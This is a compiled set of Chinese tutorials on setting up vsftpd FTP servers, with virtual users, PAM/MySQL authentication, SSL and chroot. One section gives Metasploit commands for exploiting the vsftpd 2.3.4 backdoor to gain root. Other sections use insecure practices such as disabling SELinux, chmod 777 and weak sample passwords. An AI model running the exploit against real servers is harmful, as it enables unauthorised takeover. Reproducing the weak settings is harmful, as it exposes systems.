实验—–实现基于文件验证的vsftpd虚拟用户

准备安装包:yum install vsftpd

启动服务: systemctl start vsftpd

步骤:

一、创建虚拟用户数据库文件

①编辑文本文件

vim /etc/vsftpd/ftpuser.txt   奇数行是用户名,偶数行是密码
    ftpuser1
    123456
    ftpuser2
    123456    

②此文件需要被编码为hash格式

cd /etc/vsftpd/
db_load -T -t hash -f ftpuser.txt ftpuser.db  编码为hash格式
chmod 600 ftpser.db               为了安全修改权限
file ftpuser.db                查看文件格式

未分类

二、创建系统用户和访问FTP目录

①useradd -r -m -d /var/ftproot -s /sbin/nologin ftpuser 即/var/ftproot是根目录

②chmod 555 /var/ftproot/ 根目录上不能有写权限,否则不能登录

③mkdir /var/ftproot/upload 创建子目录,方便用户访问

④setfacl -m u:ftpuser:rwx /var/ftproot/upload 给予系统用户对该目录的rwx权限

三、创建pam配置文件,用来完成用户认证

vim /etc/pam.d/vsftpd.db
    auth required pam_userdb.so db=/etc/vsftpd/ftpuser[.db]  
    account required pam_userdb.so db=/etc/vsftpd/ftpuser[.db]
     后缀db可省略,会自动识别

未分类

四、编辑vsftpd配置文件,指定pam配置文件

vim /etc/vsftpd/vsftpd.conf

添加下面两行

guest_enable=YES
guest_username=ftpuser       映射为系统用户ftpuser

修改下行:

pam_service_name=vsftpd.db     pam配置文件

五、SELinux设置

禁用selinu,或者setenforce 0

六、虚拟用户建立独立的配置文件

说明:vsftpd可以在配置文件目录中为每个用户提供单独的配置文件以定义其ftp服务访问权限,每个虚拟用户的配置文件名同虚拟用户的用户名。配置文件目录可以是任意未使用目录,只需要在vsftpd.conf指定其路径及名称即可。

①mdkir /etc/vsftpd/ftpuser.d/ 创建配置文件存放的路径

②编辑vsftp配置文件,指明用户配置文件路径:

vim /etc/vsftpd/vsftpd.conf
    user_config_dir=/etc/vsftpd/ftpuser.d/

③创建用户ftpuser1自已的配置文件,登陆目录为默认目录

(/var/ftproot/)
  vim /etc/vsftpd/ftpuser.d/ftpuser1     文件名同用户名
    anon_upload_enable=YES        支持上传
    anon_mkdir_write_enable=YES       支持创建文件夹

实现效果:wang用户连接ftp登陆之后,进入upload目录可以上传文件和创建文件夹了

④创建用户ftpuser2的配置文件,实现登陆目录改变至指定目录

mkdir /var/ftproot2;chmod 555 /var/ftproot2   作为ftpuser2的登陆目录
 vim /etc/vsftpd/ftpuser.d/ftpuser2 
    local_root=/var/ftproot2       登录目录改变至指定的目录

七、重启vsftpd服务

systemctl restart vsftpd

八、客户端测试:需要事先安装ftp客户端工具(yum install ftp)

①ftp 192.168.199.140(vsftpd服务器ip)

使用ftpuser1登陆,可以使用put上传文件并且可以创建文件夹。效果如下:

未分类

②ftp 192.168.199.140

使用ftpuser2登陆,使用ls看不到任何文件,说明已经更改登陆目录,效果如下:

未分类

CentOS7上搭建FTP服务+VSFTPD配置全解析

FTP 服务

   FTP是早期的应用级协议之一,是一种基于C/S结构的双通道协议。

   可以作为FTP服务器的软件有很多,比如Wu-ftpd,Proftpd,Pureftpd,ServU,IIS,都可以。其中vsftpd是CentOS默认的FTP服务器。也是我们今天的主角,接下来将会进行重点介绍。   既然是一种C/S结构的应用,有服务端就会有客户端。在Linux平台上可以作为FTP客户端的软件也有很多,诸如ftp,lftp,lftpget,wget,curl等。在Windows上也有很多的图形界面客户端,例如 filezilla,CuteFtp,FlashFXP,LeapFtp 等。

FTP 用户认证

FTP 的用户一共有三种类型

  • 匿名用户:ftp,anonymous,对应Linux用户ftp
  • 系统用户:Linux用户,用户/etc/passwd,密码/etc/shadow
  • 虚拟用户:特定服务的专用用户,独立的用户名/密码文件

VSFTPD服务

  • vsftpd 服务,由vsftpd包提供,直接使用yum安装就可以。
  • 用户认证配置文件:/etc/pam.d/vsftpd
  • 服务脚本: /usr/lib/systemd/system/vsftpd.service,/etc/rc.d/init.d/vsftp
  • 配置文件:/etc/vsftpd/vsftpd.conf
  • 匿名用户(映射为系统用户ftp )共享文件位置:/var/ftp
  • 系统用户共享文件位置:用户家目录
  • 虚拟用户共享文件位置:为其映射的系统用户的家目录

VSFTPD服务配置

vsftpd 服务配置 大多数都在配置文件/etc/vsftpd/vsftpd.conf中,所以我们的大部分配置只要修改这个文件就可以。

查看帮助文档

可以使用man命令查看配置文件的帮助文档,查看有哪些选项是我们需要的,以及各种值分别代表什么含义。

man 5 vsftpd.conf

命令端口

ftp默认端口是21端口,如果配置文件中没有明确指定的话,就是21端口。当然也可以明确指定,或者指定为别的端口。在配置文件中添加下面这一行就可以。

listen_port=21

主动模式端口

ftp 的链接方式有两种,分别是主动模式和被动模式。这两种模式都是从服务器的角度来查看和定义的。

# 这这里的选项一直定义为YES就可以。
# 如果不写这一行,默认的也是YES
connect_from_port_20=YES 

# 如果要重新定义主动模式的端口为其他的值的话,那就再加上下面行,并指定端口值
ftp_data_port=2020 

被动模式端口范围

linux客户端默认使用被动模式,windows 客户端默认使用主动模式。在配置文件中加入下面两行,代表可以定义被动模式的端口范围。

pasv_min_port=6000 
pasv_max_port=6010

# 如果这个属性指定为0的话,那么就随机分配
pasv_min_port=0 

使用当地时间

设置是否使用当地时间。默认就是YES.

use_localtime=YES

匿名用户

是否支持匿名用户

# YES 支持匿名用户
anonymous_enable=YES

匿名用户略过口令检查,默认为no。如果为YES的时候,匿名用户登陆时,不会提示用户名和密码,直接登陆。如果为NO的话,匿名用户登陆时还是会提示输入密码,只不过,系统不会再去验证密码的正确性。系统默认的匿名账户有两个,分别是ftp和anonymous。

no_anon_password=YES

匿名上传。首先,文件系统上用户的家目录,要具备写权限。其次,ftp服务器要开启允许匿名上传的配置。也就是说,ftp用户的家家目录需要进行配置权限。

anon_upload_enable=YES 

匿名用户能够创建目录。这一点与匿名上传一样,不仅需要注意服务的配置,同时需要注意用户的家目录权限。

anon_mkdir_write_enable=YES

默认只能下载全部读的文件。这句话的意思是说,如果启动了这句话,则匿名用户只能下载所有用户都具备读权限的文件。如果有一个文件,有一个用户不剧本读权限,匿名用户就不能够下载。

anon_world_readable_only=YES

匿名用户能否删除和修改上传的文件。默认是no,也就是不可以。

anon_other_write_enable=YES

指定匿名上传文件的umask值。umask的值可以直接影响到上传文件的权限。

anon_umask=077 

指定上传文件的默认的所有者和权限。 完成了这些指定之后,匿名用户上传的元数据就是我们指定的那些内容。

chown_uploads=YES(默认NO)
chown_username=wang
chown_upload_mode=0644

系统用户

默认情况下,操作系统的账户是可以直接使用用户名和密码来登陆的。并且登陆成功之后,默认进入到了自己的家目录。
所有系统用户都映射成guest用户,但是映射的guest账户,需要人为地去指定下。同时这个guest账户与匿名账户类似,不允许家目录具有写权限,否则容易导致安全隐患。

guest_enable=YES

#配合上面选项才生效,指定guest用户
guest_username=ftp 

是否允许Linux用户登陆,默认是允许的,当然也可以禁止。

local_enable=YES 

是否允许Linux用户上传文件,如果用户默认允许登陆的话,linux用户登陆成功之后,默认位于自己的家目录,这时是允许上传文件的。 如果将下面的这句话,改成no,则服务拒绝linux用户上传文件,即便位于自己的家目录也不可以。

write_enable=YES

指定系统用户上传文件的默认权限

local_umask=022

非匿名用户登录所在目录,当使用Linux用户登陆成功之后,就不会默认在自己的家目录了。相反,会位于下面指定的目录里。

local_root=/ftproot

禁锢所有系统用户在家目录中

禁锢所有的用户在家目录中的意思是说,用户登陆成功之后,不能够随意切换目录,只能够在自己的家目录中进行操作。 服务默认是NO,也就是不禁锢,这样的话,有比较大的安全隐患。

chroot_local_user=YES

禁锢或者不禁锢特定的用户

可以针对某一些用户进行单独的设置,例如对某一些用户进行禁锢,而对另外一些用户进行禁锢。
在/etc/vsftpd/chroot_list文件中,指定需要做出特殊处理的用户。当chroot_list_enable选项为YES的时候,列表中的用户不被禁锢。而不在列表中的用户则被禁锢。反之,则相反。

chroot_list_enable=YES
chroot_list_file=/etc/vsftpd/chroot_list

wu-ftp日志:默认启用

wu-ftp日志,默认安装,默认启用。

xferlog_enable=YES (默认)启用记录上传下载日志
xferlog_std_format=YES (默认)使用wu-ftp日志格式
xferlog_file=/var/log/xferlog (默认)可自动生成

vsftpd日志:默认不启用

vsftpd日志,默认不启用,如果想要启用的话,应该手动进行配置修改。

#使用vsftpd日志格式,默认不启用
dual_log_enable=YES 
#(默认)可自动生成
vsftpd_log_file=/var/log/vsftpd.log

登录提示信息

登陆提示信息图形界面是看不到的,只适用于ftp作为客户端的时候。可以使用下面的方式来进行配置。但是优先级却不一样。

ftpd_banner=“welcome to mage ftp server"

# 这一句话优先生效
banner_file=/etc/vsftpd/ftpbanner.txt 

目录访问提示信息

当用户进入到某一个目录之后,可以给用户一个提示消息。用来提示这个目录的作用。在相应的目录下建立一个隐藏文件 .message,在该文件中进行信息提示描述。

dirmessage_enable=YES (默认)
message_file=.message(默认)

使用pam(Pluggable Authentication Modules)完成用户认证

pam模块是Linux中的一种安全验证机制。所以vsftpd也可以根据pam模块进行用户的认证。 pam的配置文件/etc/pam.d/vsftpd,在这个文件中指定了默认文件/etc/vsftpd/ftpusers 默认文件中用户拒绝登录. 而vaftpd配置文件中,定义了pam模块。

pam_service_name=vsftpd

是否启用控制用户登录的列表文件

在黑名单中的用户,连密码提示都没有。

# 默认有此设置
# YES的时候启用了userlist
userlist_enable=YES

# YES(默认值)黑名单,不提示口令,NO为白名单
userlist_deny=YES

userlist_file=/etc/vsftpd/users_list 此为默认值

连接限制

链接限制,可以指定链接用户的最大数量,也就是最大的并发链接数。

# 最大并发连接数
# 如果为0的话,默认不限制
max_clients=0 

# 每个IP同时发起的最大连接数
# 如果为0的话,则默认不限制数量
max_per_ip=0 

vsftpd服务指定用户身份运行

vsftpd服务启动时要开启相应的进程,那么相应的进程就有一定的用户身份。如果指定了,那么服务启动之后,就会以指定的用户来启动服务进程。

nopriv_user=nobody

限定传输速率:字节/秒
如果在上传和下载的过程中,没有对速率进行限制,很容易对服务器造成损坏。所以最好进行一下限定。注意单位是 字节

# 匿名用户的最大传输速率
# 如果为0的话,则默认不限制
anon_max_rate=0 

# 本地用户的最大传输速率
# 如果为0的话,则默认不限制
local_max_rate=0 

限定链接时间:秒

指定用户连接到ftp服务器上的时间。时间单位是秒,这样做的好处是,如果用户连接到服务器之后,却不做任何操作的话,很容易浪费资源。这样是一种浪费。

# 主动模式数据连接超时时长
connect_timeout=60
# 被动模式数据连接超时时长
accept_timeout=60 
# 数据连接无数据输超时时长
data_connection_timeout=300 
# 无命令操作超时时长
idle_session_timeout=60 

优先以文本方式传输

文件在传输的过程中,可以指定是以文本方式传输,还是以二进制的方式传输。默认是以二进制的形式进行传输。 这里有一点需要注意,如果指定了以文本方式传输的话,Linux平台和Windows平台对文本的处理方式是不一样的,打个比方说,Linux平台上回车符是一个字节,但是在Windows的平台上是两个字节,也就是CRLF,这样也就导致,如果在Windows平台上使用客户端从Linux上FTP服务器下载文件,Windows会自动对文本进行转化的,反之也是一样。

如果我们传输一个二进制文件的话,二进制文件应该就会被破坏掉。

ascii_upload_enable=YES
ascii_download_enable=YES

配置FTP服务以非独立服务方运行:listen=NO,默认为独立方式

FTP服务既可以作为独立服务运行,也可以作为非独立服务进行运行。所谓非独立服务,指的就是使用xinetd服务代替FTP服务来监听21端口,当有用户访问FTP服务的时候,xinetd服务就会自动启动FTP服务,并提供给用户访问。

listen=YES,表示以独立的服务运行,listen=no表示以非独立的服务进行运行。

cat /etc/xinetd.d/vsftpd
service ftp
{
flags = REUSE
socket_type = stream
wait = no
user = root
server = /usr/sbin/vsftpd
log_on_failure += USERID
disable = no
}

实现基于SSL的FTPS

FTP服务,默认用户登陆时的口令是明文的。这样很容易被获取到,那么vsftpd服务是否支持SSL来进行加密呢?

查看是否支持SSL

# 使用下面的命令能够查看到是否支持SSL
# 查看到libssl.so
ldd `which vsftpd` 

创建自签名证书

# 进入到证书路径
cd /etc/pki/tls/certs/
# 使用下面的命令生成证书私钥和证书
make vsftpd.pem

openssl x509 -in vsftpd.pem -noout –text

配置vsftpd服务支持SSL:/etc/vsftpd/vsftpd.conf

#  启用SSL
ssl_enable=YES 
#  匿名不支持SSL
allow_anon_ssl=NO 
#  本地用户登录加密
force_local_logins_ssl=YES 
#  本地用户数据传输加密
force_local_data_ssl=YES
#  指定证书路径
rsa_cert_file=/etc/pki/tls/certs/vsftpd.pem

vsftpd虚拟用户

虚拟用户:

所有虚拟用户会统一映射为一个指定的系统帐号:访问共享位置,即为此系统帐号的家目录。

各虚拟用户可被赋予不同的访问权限,通过匿名用户的权限控制参数进行指定。

虚拟用户帐号的存储方式:

文件:编辑文本文件,此文件需要被编码为hash格式

奇数行为用户名,偶数行为密码

db_load -T -t hash -f vusers.txt vusers.db

  
关系型数据库中的表中:

实时查询数据库完成用户认证

mysql库:pam要依赖于pam-mysql

/lib64/security/pam_mysql.so
/usr/share/doc/pam_mysql-0.7/README

实现基于文件验证的vsftpd虚拟用户

1、创建用户数据库文件

# 创建用户文件
vim /etc/vsftpd/vusers.txt

ftp1    用户名
ftp1pass  密码
tom     用户名
tompass 密码


# 进入到相应的目录下
cd /etc/vsftpd/

# 创建数据库文件
db_load -T -t hash -f vusers.txt vusers.db

# 修改数据库权限
chmod 600 vusers.db

2、创建系统用户和访问FTP目录

虚拟用户访问FTP服务器的时候,要进入到自己的家目录下,但是系统中没有虚拟账户所对应的账号家目录,所以我们要创建一个系统用户,与虚拟账户关联起来,这样,当虚拟用户登陆之后,就会进入到我们创建的系统用户的家目录,然后进行数据访问。

对于CentOS7,家目录有写权限,用户在登陆的时候会出错的。所以要做一些特殊处理

# 创建系统用户并指定家目录
useradd -d /var/ftproot -s /sbin/nologin vuser
# 修改家目录权限
chmod +rx /var/ftproot/  

#CentOS 7 中要做出一些特殊的配置 

# 去掉家目录写权限
chmod -w /var/ftproot/

mkdir /var/ftproot/upload
setfacl -m u:vuser:rwx /var/ftproot/upload

3、创建pam配置文件

修改vsftpd的pam模块的配置文件 /etc/pam.d/vsftpd.db ,让vsftpd支持pam模块进行身份验证。

auth required pam_userdb.so db=/etc/vsftpd/vusers
account required pam_userdb.so db=/etc/vsftpd/vusers

4、指定pam配置文件

修改vsftpd的配置文件 /etc/vsftpd/vsftpd.conf ,给vsftpd指定pam模块。

guest_enable=YES
guest_username=vuser
pam_service_name=vsftpd.db

5、SELinux设置

如果对SELinux有什么特殊要求的话,可以单独对SELinux进行设置,如果没有特殊要求的话,直接禁用SELinux就可以。

6、虚拟用户建立独立的配置文件

在vsftpd的配置文件中指定,用户配置文件的存储路径,然后在/etc/目录下,创建相应的目录,并且在目录中定义与用户名一致的配置文件并写入相应权限就可以了。

在vsftpd的配置文件 /etc/vsftpd/vsftpd.conf 中指定如下路径.

user_config_dir=/etc/vsftpd/vusers.d/

在etc目录下,创建如下的文件目录,这一个目录与前面在vsftpd配置文件中定义的一致。

mdkir /etc/vsftpd/vusers.d/

进入到/etc/vsftpd/vusers.d/ 目录下,创建与用户名同名的配置文件,例如用户为tom,那么就创建一个与tom一致的配置文件。 将下面的内容,写入配置文件,就可以进行权限控制。

# 虚拟用户上传权限
anon_upload_enable=YES
# 虚拟用户创建文件夹
anon_mkdir_write_enable=YES
# 虚拟的其他用户对指定用户目录的写权限
anon_other_write_enable=YES

或者还可以改变用户的默认登陆目录。也就是FTP用户登陆成功之后的默认路径。

#登录目录改变至指定的目录
local_root=/ftproot

Ubuntu 16.04安装vsftpd ftp服务器

未分类

写在前面:

vsftpd 是“very secure FTP daemon”的缩写,安全性是它的一个最大的特点。vsftpd 是一个 UNIX 类操作系统上运行的服务器的名字,它可以运行在诸如 Linux、BSD、Solaris、 HP-UNIX等系统上面,是一个完全免费的、开放源代码的ftp服务器软件,支持很多其他的 FTP 服务器所不支持的特征。比如:非常高的安全性需求、带宽限制、良好的可伸缩性、可创建虚拟用户、支持IPv6、速率高等。

安装:

sudo apt-get install vsftpd

配置:

vim /etc/vsftpd.conf


#这些设置系统默认是开启的,可以不管
listen=NO
listen_ipv6=YES
dirmessage_enable=YES
use_localtime=YES
xferlog_enable=YES
connect_from_port_20=YES

#下面的就要自定义设置了,建议系统默认的不管,然后复制下面的

#是否允许匿名访问,NO为不允许
anonymous_enable=NO
#是否允许本地用户访问,就是linux本机中存在的用户,YES允许
local_enable=YES
#是否开启写模式,YES为开启
write_enable=YES
#新建文件权限,一般设置为022,那么新建后的文件的权限就是777-022=755
local_umask=022

####umask值与权限的对照表:
####umask 文件 目录 
####-------------------- 
####  0    6    7 
####  1    6    6 
####  2    4    5 
####  3    4    4 
####  4    2    3 
####  5    2    2 
####  6    0    1 
####  7    0    0 
####--------------------

#是否启动userlist为通过模式,YES的话只有存在于userlist文件中的用户才能登录ftp(可以理解为userlist是一个白名单),NO的话,白名单失效,和下面一个参数配合使用
userlist_enable=YES
#是否启动userlist为禁止模式,YES表示在userlist中的用户禁止登录ftp(黑名单),NO表示黑名单失效,我们已经让userlist作为一个白名单,所以无需使用黑名单功能
userlist_deny=NO
#指定哪个文件作为userlist文件,我们稍后编辑这个文件
userlist_file=/etc/vsftpd.user_list

#是否限制本地所有用户切换根目录的权限,YES为开启限制,即登录后的用户不能访问ftp根目录以外的目录,当然要限制啦
chroot_local_user=YES
#是否启动限制用户的名单list为允许模式,上面的YES限制了所有用户,可以用这个名单作为白名单,作为例外允许访问ftp根目录以外
chroot_list_enable=YES
#设置哪个文件是list文件,里面的用户将不受限制的去访问ftp根目录以外的目录
chroot_list_file=/etc/vsftpd.chroot_list
#是否开启写模式,开启后可以进行创建文件夹等写入操作
allow_writeable_chroot=YES

#设置ftp根目录的位置,这个文件我们稍后自己创建
local_root=/目录位置

重启:

sudo /etc/init.d/vsftpd restart

添加用户:

#将将用户目录设置为我们上面的ftp根目录
sudo useradd -d /目录位置 用户名字

#设置用户密码
sudo passwd 用户名字

限定用户只能访问自己的目录,无法返回上层及进入其它目录:

修改配置文件:/etc/vsftpd/vsftpd.conf

sudo vi /etc/vsftpd.conf

去掉下面两行的注释:

chroot_list_enable=YES

chroot_list_file=/etc/vsftpd/chroot_list

在/etc/vsftpd下创建chroot_list文件:

touch chroot_list

加入需要限制的用户名:

vi /etc/vsftpd/chroot_list

保存

:wq

重启服务(每次更改配置后必须重启才能生效):

sudo /etc/init.d/vsftpd restart

其它命令:

#关闭
sudo /etc/init.d/vsftpd stop
#开启
sudo /etc/init.d/vsftpd start
#查看当前用户
vi /etc/passwd

关于500错误的解决思路:

出现500的原因是你的主目录设置了可写权限,故无法通过安全验证,所以无法正常登录。

附:

关于文件及文件夹权限

读:r

写:w

执行:x

      所有者 同组用户 其它用户

         rwx   rwx   rwx       翻译:所有者同组用户其它用户都可读、写和执行

二进制: 111  111  111

十进制:  7    7     7



      所有者 同组用户 其它用户

         rwx  - - -  - - -       翻译:只有所有者有读、写和执行的权限

二进制: 111   000     000

十进制:  7    0     0

centos 7基于虚拟用户配置vsftpd

虽然很简单的一个软件但长时间不接触再次安装还是会碰到坑,然后就记录一下吧。

首先设置Selinux

setsebool -P ftp_home_dir=1   //设置ftp可以使用home目录
sersebool -P allow_ftpd_full_access=1   //设置ftp用户可以有所有权限

设置防火墙

打开/etc/sysconfig/iptables

在“-A INPUT –m state –state NEW –m tcp –p –dport 22 –j ACCEPT”,下添加:

-A INPUT -m state --state NEW -m tcp -p -dport 21 -j ACCEPT

然后保存,并关闭该文件,在终端内运行下面的命令,刷新防火墙配置:

service iptables restart

CentOS 7中默认使用Firewalld做防火墙,所以修改iptables后,在重启系统后,根本不管用。

Firewalld中添加端口方法如下:

firewall-cmd --zone=public --add-port=3306/tcp --permanent
firewall-cmd --reload

安装,并设置开机启动

yum -y install vsftpd
chkconfig vsftpd on

基于虚拟用户的配置

所谓虚拟用户就是没有使用真实的帐户,只是通过映射到真实帐户和设置权限的目的。虚拟用户不能登录CentOS系统。

修改配置文件

打开/etc/vsftpd/vsftpd.conf,做如下配置

anonymous_enable=NO //设定不允许匿名访问
local_enable=YES //设定本地用户可以访问。注:如使用虚拟宿主用户,在该项目设定为NO的情况下所有虚拟用户将无法访问
chroot_list_enable=YES //使用户不能离开主目录
ascii_upload_enable=YES
ascii_download_enable=YES //设定支持ASCII模式的上传和下载功能
pam_service_name=vsftpd //PAM认证文件名。PAM将根据/etc/pam.d/vsftpd进行认证

以下这些是关于vsftpd虚拟用户支持的重要配置项,默认vsftpd.conf中不包含这些设定项目,需要自己手动添加

guest_enable=YES //设定启用虚拟用户功能
guest_username=ftp //指定虚拟用户的宿主用户,CentOS中已经有内置的ftp用户了
user_config_dir=/etc/vsftpd/vuser_conf //设定虚拟用户个人vsftp的CentOS FTP服务文件存放路径。存放虚拟用户个性的CentOS FTP服务文件(配置文件名=虚拟用户名)进行认证

首先,安装Berkeley DB工具

yum install db4 db4-utils

然后,创建用户密码文本/etc/vsftpd/vuser_passwd.txt ,注意奇行是用户名,偶行是密码

test
123456

接着,生成虚拟用户认证的db文件

db_load -T -t hash -f /etc/vsftpd/vuser_passwd.txt /etc/vsftpd/vuser_passwd.db

随后,编辑认证文件/etc/pam.d/vsftpd,全部注释掉原来语句,再增加以下两句:

auth required pam_userdb.so db=/etc/vsftpd/vuser_passwd
account required pam_userdb.so db=/etc/vsftpd/vuser_passwd

最后,创建虚拟用户配置文件

mkdir /etc/vsftpd/vuser_conf/
vi /etc/vsftpd/vuser_conf/test  //文件名等于vuser_passwd.txt里`面的账户名,否则下面设置无效

内容如下

local_root=/data/ftp  //虚拟用户根目录,根据实际情况修改
write_enable=YES  //可写
anon_umask=022 //掩码
anon_world_readable_only=NO
anon_upload_enable=YES
anon_mkdir_write_enable=YES
anon_other_write_enable=YES

设置FTP根目录权限

mkdir /data/ftp   //创建目录
chmod R 755 /data
chmod R 777 /data/ftp

最新的vsftpd要求对主目录不能有写的权限所以data为755,主目录下面的子目录再设置777权限

配置PASV模式

vsftpd默认没有开启PASV模式,现在FTP只能通过PORT模式连接,要开启PASV默认需要通过下面的配置

打开/etc/vsftpd/vsftpd.conf,在末尾添加

pasv_enable=YES   //开启PASV模式
pasv_min_port=40000   //最小端口号
pasv_max_port=40080   //最大端口号
pasv_promiscuous=YES

在防火墙配置内开启40000到40080端口

-A INPUT -m state --state NEW -m tcp -p -dport 40000:40080 -j ACCEPT

重启iptabls和vsftpd

service iptables restart
service vsftpd restart

配置Vsftpd MySQL虚拟用户验证登录

一、安装所需要包和包组:

在数据库服务器上安装包:

yum –y install mariadb-server mariadb-devel 
systemctl start mariadb.service 
systemctl enable mariadb

在FTP服务器上安装包pam_mysql

centos7:无对应rpm包,需手动编译安装

yum -y groupinstall “Development Tools” 
yum -y install mariadb-devel pam-devel vsftpd 

下载pam_mysql-0.7RC1.tar.gz

ftp://172.16.0.1/pub/Sources/sources/pam/ 
tar xvfpam_mysql-0.7RC1.tar.gz 
cd pam_mysql-0.7RC1/ 
./configure –with-mysql=/usr –with-pam=/usr –with-pam-mods-dir=/lib64/security 
make 
make install

二、在数据库服务器上创建虚拟用户账号

1、建立存储虚拟用户的数据库

示例创建为vsftpd数据库

mysql> CREATE DATABASE vsftpd; 
mysql> SHOW DATABASES; 

ftp服务和mysql不在同一主机:

mysql> GRANT SELECT ON vsftpd.* TO 
vsftpd@’172.16.%.%’ IDENTIFIED BY ‘magedu’; 

ftp服务和mysql在同一主机:

mysql> GRANT SELECT ON vsftpd.* TO 
vsftpd@localhost IDENTIFIED BY ‘magedu’; 
mysql> GRANT SELECT ON vsftpd.* TO 
vsftpd@’127.0.0.1′ IDENTIFIED BY ‘magedu’; 
mysql> FLUSH PRIVILEGES;

2、准备相关表

mysql> USE vsftpd; 
Mysql> SHOW TABLES; 
mysql> CREATE TABLE users ( id INT AUTO_INCREMENT NOT NULL PRIMARY KEY,name CHAR(50) BINARY NOT NULL,password CHAR(48) BINARY NOT NULL); 
mysql>DESC users; 

mysql -uvsftpd -h 172.16.200.200 -pmagedu 
mysql> SHOW DATABASES;

3、添加测试的虚拟用户

根据需要添加所需要的用户,为了安全应该使用PASSWORD函数加密其密码后存储

mysql>DESC users; 
mysql> INSERT INTO users(name,password) values(‘wang’,password(‘magedu’)); 
mysql> INSERT INTO users(name,password) values(‘mage’,password(‘magedu’)); 
mysql> SELECT * FROM users;

三、在FTP服务器上配置vsftpd服务

1、在FTP服务器上建立pam认证所需文件

vi /etc/pam.d/vsftpd.mysql 

添加如下两行

auth required pam_mysql.so user=vsftpd passwd=magedu host=mysqlserver db=vsftpd table=users usercolumn=name passwdcolumn=password crypt=2 
account required pam_mysql.so user=vsftpd passwd=magedu host=mysqlserver db=vsftpd table=users usercolumn=name passwdcolumn=password crypt=2 

注意:参考README文档,选择正确的加密方式crypt是加密方式,0表示不加密,1表示crypt(3)加密,2表示使用mysql password()函数加密,3表示md5加密,4表示sha1加密

配置字段说明

  • auth 表示认证
  • account 验证账号密码正常使用
  • required 表示认证要通过
  • pam_mysql.so模块是默认的相对路径,是相对/lib64/security/路径而言,也可以写绝对路径;后面为给此模块传递的参数
  • user=vsftpd为登录mysql的用户
  • passwd=mageedu 登录mysql的的密码
  • host=localhost 在mysql中定义的允许连接的主机名或ip地址
  • db=vsftpd 连接msyql的哪一个库
  • table=users 连接库里的哪一个表
  • usercolumn=name 当做用户名的字段
  • passwdcolumn=password 当做用户名字段的密码
  • crypt=2 密码的加密方式为mysql password()函数加密

2、建立相应用户和修改vsftpd配置文件

使其适应mysql认证

建立虚拟用户映射的系统用户及对应的目录

useradd -s /sbin/nologin -d /var/ftproot vuser 
chmod 555 /var/ftproot centos7 需除去ftp根目录的写权限 
mkdir /var/ftproot/{upload,pub} 
setfacl –m u:vuser:rwx /var/ftproot/upload 

确保/etc/vsftpd.conf中已经启用了以下选项

anonymous_enable=YES 

添加下面两项

guest_enable=YES 
guest_username=vuser 

修改下面一项,原系统用户无法登录

pam_service_name=vsftpd.mysql

四、启动vsftpd服务

service vsftpd start;systemctl start vsftpd 
chkconfig vsftpd on;systemctl enable vsftpd 

查看端口开启情况

netstat -tnlp |grep :21

五、Selinux相关设置:在FTP服务器上执行

restorecon -R /lib64/security 
setsebool -P ftpd_connect_db 1 
setsebool -P ftp_home_dir 1 
chcon -R -t public_content_rw_t /var/ftproot/

六、测试:利用FTP客户端工具,以虚拟用户登录验证结果

tail /var/log/secure

七、在FTP服务器上配置虚拟用户具有不同的访问权限

vsftpd可以在配置文件目录中为每个用户提供单独的配置文件以定义其ftp服务访问权限,每个虚拟用户的配置文件名同虚拟用户的用户名。配置文件目录可以是任意未使用目录,只需要在vsftpd.conf指定其路径及名称即可

1、配置vsftpd为虚拟用户使用配置文件目录

vim /etc/vsftpd/vsftpd.conf 

添加如下选项

user_config_dir=/etc/vsftpd/vusers_config

2、创建所需要目录

并为虚拟用户提供配置文件

mkdir /etc/vsftpd/vusers_config/ 
cd /etc/vsftpd/vusers_config/ 
touch wangmage

3、配置虚拟用户的访问权限

虚拟用户对vsftpd服务的访问权限是通过匿名用户的相关指令进行的。如果需要让用户wang具有上传文件的权限,可以修改/etc/vsftpd/vusers_config/wang文件,在里面添加如下选项并设置为YES即可,只读则设为NO

注意:需确保对应的映射用户对于文件系统有写权限

anon_upload_enable={YES|NO} 
anon_mkdir_write_enable={YES|NO} 
anon_other_write_enable={YES|NO}

msf远程溢出(21端口)vsftpd漏洞

vsftpd version 2到2.3.4存在后门漏洞,攻击者可以通过该漏洞获取root权限。、

首先,先用nmap进行详细的扫描,命令如下

nmap -sT -A www.0-sec.org -sT

未分类

msf远程溢出(21端口)vsftpd漏洞-Web安全
namp还是比较强大的,会罗列出来 所有端口的详细信息 。 当然我们网站是没有开启21端口的,只是举个例子。
输入msfconsole打开msf
搜索vsftpd漏洞模块

msf > search vsftpd

未分类

已经发现了一个模块,直接调用这个模块

msf >use exploit/unix/ftp/vsftpd_234_backdoor

msf  exploit(vsftpd_234_backdoor) > show options

未分类

msf  exploit(vsftpd_234_backdoor) >set rhost 127.0.0.1

msf  exploit(vsftpd_234_backdoor) >set rpot 21

msf  exploit(vsftpd_234_backdoor) >exploit

未分类

CentOS7.2下VSFTPD的安装 创建系统用户及卸载方法

FTP 服务的安装、配置和卸载

安装 VSFTPD

使用 yum 安装vsftpd

yum install vsftpd -y

启动 VSFTPD

安装完成后,启动 FTP 服务:

service vsftpd start

启动后,可以看到系统已经监听了 21 端口

netstat -nltp | grep 21

此时,访问 ftp://你的IP地址 可浏览机器上的 /var/ftp 目录了。

配置 FTP 权限

了解 VSFTP 配置

vsftpd 的配置目录为 /etc/vsftpd,包含下列的配置文件:

  • vsftpd.conf 为主要配置文件
  • ftpusers 配置禁止访问 FTP 服务器的用户列表
  • 列表内容user_list 配置用户访问控制

阻止匿名访问和切换根目录

匿名访问和切换根目录都会给服务器带来安全风险,我们把这两个功能关闭。

编辑 /etc/vsftpd/vsftpd.conf,找到下面两处配置并修改:

# 禁用匿名用户
anonymous_enable=NO

# 禁止切换根目录
chroot_local_user=YES

编辑完成后,按 Ctrl + S 保存配置,重新启动 FTP 服务,如:

service vsftpd restart

创建 FTP 用户

创建一个用户 ftpuser:

useradd ftpuser

为用户 ftpuser 设置密码:

echo "bCyG9Sma" | passwd ftpuser --stdin

限制该用户仅能通过 FTP 访问

限制用户 ftpuser 只能通过 FTP 访问服务器,而不能直接登录服务器:

usermod -s /sbin/nologin ftpuser

为用户分配主目录

为用户 ftpuser 创建
主目录

并约定:

/data/ftp 为主目录, 该目录不可上传文件
/data/ftp/pub 文件只能上传到该目录下

mkdir -p /data/ftp/pub

创建登录欢迎文件 :

echo "Welcome to use FTP service." > /data/ftp/welcome.txt

设置访问权限:

chmod a-w /data/ftp && chmod 777 -R /data/ftp/pub

设置为用户的主目录:

usermod -d /data/ftp ftpuser

CentOS上卸载VSFTPD

centos 卸载vsftpd方法如果服务器上安装了vsftpd,配置出错需要卸载vsftpd

